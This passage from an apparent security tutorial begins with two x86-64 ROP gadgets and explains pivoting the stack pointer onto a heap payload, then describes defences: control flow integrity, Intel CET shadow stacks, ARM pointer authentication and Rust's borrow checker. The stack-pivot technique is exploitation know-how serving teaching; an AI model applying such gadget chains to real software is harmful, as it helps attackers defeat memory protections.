xchg rsp, rax ; ret            ; Swaps RSP with pointer stored in RAX
add rsp, 0x100 ; ret           ; Shifts stack pointer forward 256 bytes

By placing the virtual address of a large heap payload into rax and executing xchg rsp, rax, rsp instantly pivots to the heap buffer address. Subsequent ret instructions begin popping gadgets directly from the heap.

Modern Countermeasures and Memory-Safe Paradigms

As exploitation methodologies evolved to defeat canary, DEP, and ASLR protections, security research developed structural countermeasures operating at CPU hardware and language compiler boundaries.

Control Flow Integrity (CFI)

Control Flow Integrity restricts runtime program execution to a statically validated Control Flow Graph (CFG) generated at compile time. CFI protects against indirect calls, indirect jumps, and return address manipulation:

1. Forward-Edge CFI: Protects indirect function calls (call rax). Before executing call rax, compiler-generated checks verify that rax targets a valid function signature compiled within the binary.
2. Hardware Enforcement (Intel CET / AMD Shadow Stack):
   • Indirect Branch Tracking (IBT): Requires all indirect call target locations to start with an explicit ENDBR64 instruction (opcode 0xf3 0x0f 0x1e 0xfa). If call rax lands on an instruction other than ENDBR64, the CPU throws a Control Protection Exception (#CP).
   • Shadow Stack (Backward-Edge CFI): The CPU maintains a secondary execution stack in hardware-isolated memory inaccessible to standard mov instructions. When call executes, the return address is pushed onto both the primary execution stack and the shadow stack. During ret, the CPU verifies that the return address on the primary stack matches the shadow stack. Mismatches trigger an immediate #CP hardware exception.

Call Execution Sequence:
[ CALL Instruction ] ---> Pushes Return Address to Execution Stack
                     ---> Pushes Return Address to Hardware Shadow Stack
 
Ret Execution Sequence:
[ RET Instruction ]  ---> Verifies Execution Stack Address == Shadow Stack Address
                          - Match: Execution continues cleanly
                          - Mismatch: Throws #CP Exception (Process Terminated)

ARM Pointer Authentication (PAC)

On ARM64 architectures (ARMv8.3-A and later), Pointer Authentication (PAC) enforces pointer integrity using unused high-order bits in 64-bit virtual memory addresses.

Because 64-bit processors use only 48 or 52 bits for virtual memory addressing, the upper 12 to 16 bits of pointer addresses remain zero:

64-Bit ARM Address Format:
+------------------------+--------------------------------------------------+
| PAC Signature (16 Bits)| Virtual Memory Address (48 Bits)                 |
+------------------------+--------------------------------------------------+

Before storing a return address pointer on the stack, the CPU executes PACIASP, computing a cryptographic HMAC over the pointer address and frame context using a hardware key (APIAKey). The signature is placed into the upper 16 bits of the pointer address.

Before returning, the function executes AUTIASP to validate the signature. If an attacker overwrote the return address, the cryptographic check fails, stripping the valid memory bits and corrupting the pointer into an unmapped address that crashes immediately upon dereference.

Memory Safety Guarantees of Rust

While mitigations like ASLR, canaries, CET, and PAC increase exploit complexity, they act retroactively on codebases written in inherently memory-unsafe languages (C/C++). Structural memory safety is achieved at compile time by adopting languages designed around strict ownership semantics.

Rust eliminates memory safety vulnerabilities at compile time using three core rules enforced by its Borrow Checker:

1. Ownership: Every value has a single owner variable at any given time.
2. Borrowing: Values may be borrowed via references. Applications may instantiate either:
   • Any number of immutable references (&T).
   • Exactly one mutable reference (&mut T).
3. Lifetimes: The compiler verifies that references never outlive their referenced data, preventing dangling pointer formation.

Spatial and Temporal Safety Feature Matrix

By enforcing these constraints during compilation, spatial corruptions (buffer overflows) and temporal corruptions (use-after-free, double-free) are transformed into compile-time type errors or explicit runtime panic boundaries, rendering low-level memory corruption exploitation impossible within safe code paths.